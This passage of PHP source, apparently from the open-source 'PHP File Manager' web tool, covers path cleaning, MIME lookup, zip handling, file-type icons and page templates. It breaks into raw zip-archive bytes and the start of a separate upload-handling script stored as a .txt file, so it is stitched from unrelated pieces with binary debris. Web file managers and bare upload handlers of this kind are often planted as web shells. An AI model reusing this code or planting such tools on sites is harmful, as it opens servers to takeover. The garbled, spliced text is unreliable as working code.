(function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path) { $path = trim($path); $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s KiB', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s MiB', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path) { if (function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION['message'] = $msg; $_SESSION['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': $img = 'icon-file_image'; break; case 'txt': case 'css': case 'ini': case 'conf': case 'log': case 'htaccess': case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'less': case 'sass': case 'scss': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'icon-file_text'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'icon-file_zip'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'icon-file_php'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'icon-file_html'; break; case 'xml': case 'xsl': case 'svg': $img = 'icon-file_code'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'icon-file_music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'icon-file_playlist'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'icon-file_film'; break; case 'eml': case 'msg': $img = 'icon-file_outlook'; break; case 'xls': case 'xlsx': $img = 'icon-file_excel'; break; case 'csv': $img = 'icon-file_csv'; break; case 'doc': case 'docx': $img = 'icon-file_word'; break; case 'ppt': case 'pptx': $img = 'icon-file_powerpoint'; break; case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon': $img = 'icon-file_font'; break; case 'pdf': $img = 'icon-file_pdf'; break; case 'psd': $img = 'icon-file_photoshop'; break; case 'ai': case 'eps': $img = 'icon-file_illustrator'; break; case 'fla': $img = 'icon-file_flash'; break; case 'swf': $img = 'icon-file_swf'; break; case 'exe': case 'msi': $img = 'icon-file_application'; break; case 'bat': $img = 'icon-file_terminal'; break; default: $img = 'icon-document'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { ?> <div class="path"> <div class="float-right"> <a title="Upload files" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="icon-upload"></i></a> <a title="New folder" href="#" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="icon-folder_add"></i></a> <?php if (FM_USE_AUTH): ?><a title="Logout" href="?logout=1"><i class="icon-logout"></i></a><?php endif; ?> </div> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='icon-home' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="icon-separator"></i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="break-word">' . $root_url . '</div>'; ?> </div> <?php } /** * Show message from session */ function fm_show_message() { if (isset($_SESSION['message'])) { $class = isset($_SESSION['status']) ? $_SESSION['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION['message'] . '</p>'; unset($_SESSION['message']); unset($_SESSION['status']); } } /** * Show page header */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>PHP File Manager</title> <style> html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none} html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#efefef} input,select,textarea,button{font-size:inherit;font-family:inherit} a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none} a img{border:none}span.gray{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px} ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0} table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%} th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap} th,td.gray{background-color:#eee}td.gray span{color:#222} tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee} code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto} pre.with-hljs{padding:0} pre.with-hljs code{margin:0;border:0;overflow:visible} code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0} #wrapper{max-width:1000px;min-width:400px;margin:10px auto} .path{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px} .right{text-align:right}.center{text-align:center}.float-right{float:right} .message{padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{border-color:green;color:green} .message.error{border-color:red;color:red} .message.alert{border-color:orange;color:orange} .btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00} .preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0} .preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000} [class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("<?php echo FM_SELF_URL ?>?img=sprites&t=<?php echo $sprites_ver ?>") no-repeat 0 0;vertical-align:bottom} .icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0} .icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0} .icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0} .icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0} .icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0} .icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0} .icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0} .icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0} .icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0} .icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px} .icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px} .icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px} .icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px} .icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px} .icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px} .icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px} .icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px} .icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px} .icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px} .icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px} .icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0} .icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px} .compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff} .filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} .break-word{word-wrap:break-word} </style> <link rel="icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png"> <link rel="shortcut icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png"> <?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css"> <?php endif; ?> </head> <body> <div id="wrapper"> <?php } /** * Show page footer */ function fm_show_footer() { ?> <p class="center"><small><a href="https://github.com/alexantr/filemanager" target="_blank">PHP File Manager</a></small></p> </div> <script> function newfolder(p){var n=prompt('New folder name','folder');if(n!==null&&n!==''){window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n);}} function rename(p,f){var n=prompt('New name',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}} function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}} function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;} function select_all(){var l=get_checkboxes();change_checkboxes(l,true);} function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);} function invert_all(){var l=get_checkboxes();change_checkboxes(l);} function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);} </script> <?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script> <script>hljs.initHighlightingOnLoad();</script> <?php endif; ?> </body> </html> <?php } /** * Show image * @param string $img */ function fm_show_image($img) { $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT'; $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT'; $img = trim($img); $images = fm_get_images(); $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg=='; if (isset($images[$img])) { $image = $images[$img]; } $image = base64_decode($image); if (function_exists('mb_strlen')) { $size = mb_strlen($image, '8bit'); } else { $size = strlen($image); } if (function_exists('header_remove')) { header_remove('Cache-Control'); header_remove('Pragma'); } else { header('Cache-Control:'); header('Pragma:'); } header('Last-Modified: ' . $modified_time, true, 200); header('Expires: ' . $expires_time); header('Content-Length: ' . $size); header('Content-Type: image/png'); echo $image; exit; } /** * Get base64-encoded images * @return array */ function fm_get_images() { return array( 'favicon' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => 'iVBORw0KGgoAAAANSUhEUgAAAYAAAAAgCAMAAAAscl/XAAAC/VBMVEUAAABUfn4KKipIcXFSeXsx VlZSUlNAZ2c4Xl4lSUkRDg7w8O/d3d3LhwAWFhYXODgMLCx8fHw9PT2TtdOOAACMXgE8lt+dmpq+ fgABS3RUpN+VUycuh9IgeMJUe4C5dUI6meKkAQEKCgoMWp5qtusJmxSUPgKudAAXCghQMieMAgIU abNSUlJLe70VAQEsh85oaGjBEhIBOGxfAoyUbUQAkw8gui4LBgbOiFPHx8cZX6PMS1OqFha/MjIK VKFGBABSAXovGAkrg86xAgIoS5Y7c6Nf7W1Hz1NmAQB3Hgx8fHyiTAAwp+eTz/JdDAJ0JwAAlxCQ UAAvmeRiYp6ysrmIAABJr/ErmiKmcsATpRyfEBAOdQgOXahyAAAecr1JCwHMiABgfK92doQGBgZG AGkqKiw0ldYuTHCYsF86gB05UlJmQSlra2tVWED////8/f3t9fX5/Pzi8/Px9vb2+/v0+fnn8vLf 7OzZ6enV5+eTpKTo6Oj6/v765Z/U5eX4+Pjx+Pjv0ojWBASxw8O8vL52dnfR19CvAADR3PHr6+vi 4uPDx8v/866nZDO7iNT335jtzIL+7aj86aTIztXDw8X13JOlpKJoaHDJAACltratrq3lAgKfAADb 4vb76N2au9by2I9gYGVIRkhNTE90wfXq2sh8gL8QMZ3pyn27AADr+uu1traNiIh2olTTshifodQ4 ZM663PH97+YeRq2GqmRjmkGjnEDnfjLVVg6W4f7s6/p/0fr98+5UVF6wz+SjxNsmVb5RUVWMrc7d zrrIpWI8PD3pkwhCltZFYbNZja82wPv05NPRdXzhvna4uFdIiibPegGQXankxyxe0P7PnOhTkDGA gBrbhgR9fX9bW1u8nRFamcgvVrACJIvlXV06nvtdgON4mdn3og7AagBTufkucO7snJz4b28XEhIT sflynsLEvIk55kr866aewo2YuYDrnFffOTk6Li6hgAn3y8XkusCHZQbt0NP571lqRDZyMw96lZXE s6qcrMmJaTmVdRW2AAAAbnRSTlMAZodsJHZocHN7hP77gnaCZWdx/ki+RfqOd/7+zc9N/szMZlf8 z8yeQybOzlv+tP5q/qKRbk78i/vZmf798s3MojiYjTj+/vqKbFc2/vvMzJiPXPzbs4z9++bj1XbN uJxhyMBWwJbp28C9tJ6L1xTnMfMAAA79SURBVGje7Jn5b8thHMcfzLDWULXq2upqHT2kbrVSrJYx NzHmviWOrCudqxhbNdZqHauKJTZHm0j0ByYkVBCTiC1+EH6YRBY/EJnjD3D84PMc3++39Z1rjp+8 Kn189rT5Pt/363k+3YHEDOrCSKP16t48q8U1IysLAUKZk1obLBYDKjAUoB8ziLv4vyQLQD+Lcf4Q jvno90kfDaQTRhcioIv7QPk2oJqF0PsIT29RzQdOEhfKG6QW8lcoLIYxjWPQD2GXr/63BhYsWrQA fYc0JSaNxa8dH4zUEYag32f009DTkNTnC4WkpcRAl4ryHTt37d5/ugxCIIEfZ0Dg4poFThIXygSp hfybmhSWLS0dCpDrdFMRZubUkmJ2+d344qIU8sayN8iFQaBgMDy+FWA/wjelOmbrHUKVtQgxFqFc JeE2RpmLEIlfFazzer3hcOAPCQiFasNheAo9HQ1f6FZRTgzs2bOnFwn8+AnG8d6impClTkSjCXWW kH80GmUGWP6A4kKkQwG616/tOhin6kii3dzl5YHqT58+bf5KQdq8IjCAg3+tk3NDCoPZC2fQuGcI 7+8nKQMk/b41r048UKOk48zln4MgesydOw0NDbeVCA2B+FVaEIDz/0MCSkOlAa+3tDRQSgW4t1MD +7d1Q8DA9/sY7weKapZ/Qp+tzwYDtLyRiOrBANQ0/3hTMBIJNsXPb0GM5ANfrLO3telmTrWXGBG7 fHVHbWjetKKiPCJsAkQv17VNaANv6zJTWAcvmCEtI0hnII4RLsIIBIjmHStXaqKzNCtXOvj+STxl OXKwgDuEBuAOEQDxgwDIv85bCwKMw6B5DzOyoVMCHpc+Dnu9gUD4MSeAGWACTnCBnxgorgGHRqPR Z8OTg5ZqtRoEwLODy79JdfiwqgkMGBAlJ4caYK3HNGGCHedPBLgqtld30IbmLZk2jTsB9jadboJ9 Aj4BMqlAXCqV4e3udGH8zn6CgMrtQCUIoPMEbj5Xk3jS3N78UpPL7R81kJOTHdU7QACff/9kAbD/ IxHvEGTcmi/1+/NlMjJsNXZKAAcIoAkwA0zAvqOMfQNFNcOsf2BGAppotl6D+P0fi6nOnFHFYk1x CzOgvqEGA4ICk91uQpQee90V1W58fdYDx0Ls+JnmTwy02e32iRNJB5L5X7y4/Pzq1buXX/lb/X4Z SRtTo4C8uf6/Nez11dRI0pkNCswzA+Yn7e3NZi5/aKcYaKPqLBDw5iHPKGUutCAQoKqri0QizsgW lJ6/1mqNK4C41bo2P72TnwEMEEASYAa29SCBHz1J2fdo4ExRTbHl5NiSBWQ/yGYCLBnFLbFY8PPn YCzWUpxhYS9IJDSIx1iydKJpKTPQ0+lyV9MuCEcQJw+tH57Hjcubhyhy00TAJEdAuocX4Gn1eNJJ wHG/xB+PQ8BC/6/0ejw1nAAJAeZ5A83tNH+kuaHHZD8A1MsRUvZ/c0WgPwhQBbGAiAQz2CjzZSJr GOxKw1aU6ZOhX2ZK6GYZ42ZoChbgdDED5UzAWcLRR4+cA0U1ZfmiRcuRgJkIYIwBARThuyDzE7hf nulLR5qKS5aWMAFOV7WrghjAAvKKpoEByH8J5C8WMELCC5AckkhGYCeS1lZfa6uf2/AuoM51yePB DYrM18AD/sE8Z2DSJLaeLHNCr385C9iowbekfHOvQWBN4dzxXhUIuIRPgD+yCskWrs3MOETIyFy7 sFMC9roYe0EA2YLMwIGeCBh68iDh5P2TFUOhzhs3LammFC5YUIgEVmY/mKVJ4wTUx2JvP358G4vV 8wLo/TKKl45cWgwaTNNx1b3M6TwNh5DuANJ7xk37Kv+RBDCAtzMvoPJUZSUVID116pTUw3ecyPZI vHIzfEQXMAEeAszzpKUhoR81m4GVNnJHyocN/Xnu2NLmaj/CEVBdqvX5FArvXGTYoAhIaxUb2GDo jAD3doabCeAMVFABZ6mAs/fP7sCBLykal1KjYemMYYhh2zgrWUBLi2r8eFVLiyDAlpS/ccXIkSXk IJTIiYAy52l8COkOoAZE+ZtMzEA/p8ApJ/lcldX4fc98fn8Nt+Fhd/Lbnc4DdF68fjgNzZMQhQkQ UKK52mAQC/D5fHVe6VyEDBlWqzXDwAbUGQEHdjAOgACcAGegojsRcPAY4eD9g7uGonl5S4oWL77G 17D+fF/AewmzkDNQaG5v1+SmCtASAWKgAVWtKKD/w0egD/TC005igO2AsctAQB6/RU1VVVUmuZwM CM3oJ2CB7+1xwPkeQj4TUOM5x/o/IJoXrR8MJAkY9ab/PZ41uZwAr88nBUDA7wICyncyypkAzoCb CbhIgMCbh6K8d5jFfA3346qUePywmtrDfAdcrmmfZeMENNbXq7Taj/X1Hf8qYk7VxOlcMwIRfbt2 7bq5jBqAHUANLFlmRBzyFVUr5NyQgoUdqcGZhMFGmrfUA5D+L57vcP25thQBArZCIkCl/eCF/IE5 6PdZHzqwjXEgtB6+0KuMM+DuRQQcowKO3T/WjE/A4ndwAmhNBXjq4q1wyluLamWIN2Aebl4uCAhq x2u/JUA+Z46Ri4aeBLYHYAEggBooSHmDXBgE1lnggcQU0LgLUMekrl+EclQSSgQCVFrVnFWTKav+ xAlY35Vn/RTSA4gB517X3j4IGMC1oOsHB8yEetm7xSl15kL4TVIAfjDxKjIRT6Ft0iQb3da3GhuD QGPjrWL0E7AlsAX8ZUTr/xFzIP7pRvQ36SsI6Yvr+QN45uN607JlKbUhg8eAOgB2S4bFarVk/PyG 6Sss4O/y4/WL7+avxS/+e8D/+ku31tKbRBSFXSg+6iOpMRiiLrQ7JUQ3vhIXKks36h/QhY+FIFJ8 pEkx7QwdxYUJjRC1mAEF0aK2WEActVVpUbE2mBYp1VofaGyibW19LDSeOxdm7jCDNI0rv0lIvp7v nnPnHKaQ+zHV/sxcPlPZT5Hrp69SEVg1vdgP+C/58cOT00+5P2pKreynyPWr1s+Ff4EOOzpctTt2 rir2A/bdxPhSghfrt9TxcCVlcWU+r5NH+ukk9fu6MYZL1NtwA9De3n6/dD4GA/N1EYwRxXzl+7NL i/FJUo9y0Mp+inw/Kgp9BwZz5wxArV5e7AfcNGDcLMGL9XXnEOpcAVlcmXe+QYAJTFLfbcDoLlGv /QaeQKiwfusuH8BB5EMnfYcKPGLAiCjmK98frQFDK9kvNZdW9lPk96cySKAq9gOCxmBw7hd4LcGl enQDBsOoAW5AFlfkMICnhqdvDJ3pSerDRje8/93GMM9xwwznhHowAINhCA0gz5f5MOxiviYG8K4F XoBHjO6RkdNuY4TI9wFuoZBPFfd6vR6EOAIaQHV9vaO+sJ8Ek7gAF5OQ7JeqoJX9FPn9qYwSqIr9 gGB10BYMfqkOluBIr6Y7AHQz4q4667k6q8sVIOI4n5zjARjfGDtH0j1E/FoepP4dg+Nha/fwk+Fu axj0uN650e+vxHqhG6YbptcmbSjPd13H8In5TRaU7+Ix4GgAI5Fx7qkxIuY7N54T86m89mba6WTZ Do/H2+HhB3Cstra2sP9EdSIGV3VCcn+Umlb2U+T9UJmsBEyqYj+gzWJrg8vSVoIjPW3vWLjQY6fx DXDcKOcKNBBxyFdTQ3KmSqOpauF5upPjuE4u3UPEhQGI66FhR4/iAYQfwGUNgx7Xq3v1anxUqBdq j8WG7mlD/jzfcf0jf+0Q8s9saoJnYFBzkWHgrC9qjUS58RFrVMw3ynE5IZ/Km2lsZtmMF9p/544X DcAEDwDAXo/iA5bEXd9dn2VAcr/qWlrZT5H7LSqrmYBVxfsBc5trTjbbeD+g7crNNuj4lTZYocSR nqa99+97aBrxgKvV5WoNNDTgeMFfSCYJzmi2ATQtiKfTrZ2t6daeHiLeD81PpVLXiPVmaBgfD1eE hy8Nwyvocb1X7tx4a7JQz98eg/8/sYQ/z3cXngDJfizm94feHzqMBsBFotFohIsK+Vw5t0vcv8pD 0SzVjPvPdixH648eO1YLmIviUMp33Xc9FpLkp2i1sp8i91sqzRUEzJUgMNbQdrPZTtceBEHvlc+f P/f2XumFFUoc6Z2Nnvu/4o1OxBsC7kAgl2s4T8RN1RPJ5ITIP22rulXVsi2LeE/aja6et4T+Zxja /yOVEtfzDePjfRW2cF/YVtGH9LhebuPqBqGeP9QUCjVd97/M82U7fAg77EL+WU0Igy2DDDMLDeBS JBq5xEWFfDl3MiDmq/R0wNvfy7efdd5BAzDWow8Bh6OerxdLDDgGHDE/eb9oAsp+itxvqaw4QaCi Eh1HXz2DFGfOHp+FGo7RCyuUONI7nZ7MWNzpRLwhj/NE3GRKfp9Iilyv0XVpuqr0iPfk8ZbQj/2E /v/4kQIu+BODhwYhjgaAN9oHeqV6L/0YLwv5tu7dAXCYJfthtg22tPA8yrUicFHlfDCATKYD+o/a 74QBoPVHjuJnAOIwAAy/JD9Fk37K/auif0L6LRc38IfjNQRO8AOoYRthhuxJCyTY/wwjaKZpCS/4 BaBnG+NDQ/FGFvEt5zGSRNz4fSPgu8D1XTqdblCnR3zxW4yHhP7j2M/fT09dTgnr8w1DfFEfRhj0 SvXWvMTwYa7gb8yA97/unQ59F5oBJnsUI6KcDz0B0H/+7S8MwG6DR8Bhd6D4Jj9GQlqPogk/JZs9 K/gn5H40e7aL7oToUYAfYMvUnMw40Gkw4Q80O6XcLMRZFgYwxrKl4saJjabqjRMCf6QDdOkeldJ/ BfSnrvWLcWgYxGX6KfPswEKLZVL6yrgXvv6g9uMBoDic3B/9e36KLvDNS7TZ7K3sGdE/wfoqDQD9 NGG+9AmYL/MDRM5iLo9nqDEYAJWRx5U5o+3SaHRaplS8H+Faf78Yh4bJ8k2Vz24qgJldXj8/DkCf wDy8fH/sdpujTD2KxhxM/ueA249E/wTru/Dfl05bPkeC5TI/QOAvbJjL47TnI8BDy+KlOJPV6bJM yfg3wNf+r99KxafOibNu5IQvKKsv2x9lTtEFvmGlXq9/rFeL/gnWD2kB6KcwcpB+wP/IyeP2svqp 9oeiCT9Fr1cL/gmp125aUc4P+B85iX+qJ/la0k/Ze0D0T0j93jXTpv0BYUGhQhdSooYAAAAASUVO RK5CYII=', ); } PK ! g�|& 2 activities/18/dd2c2589a86841abb6f365758e1d2352.txtnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = 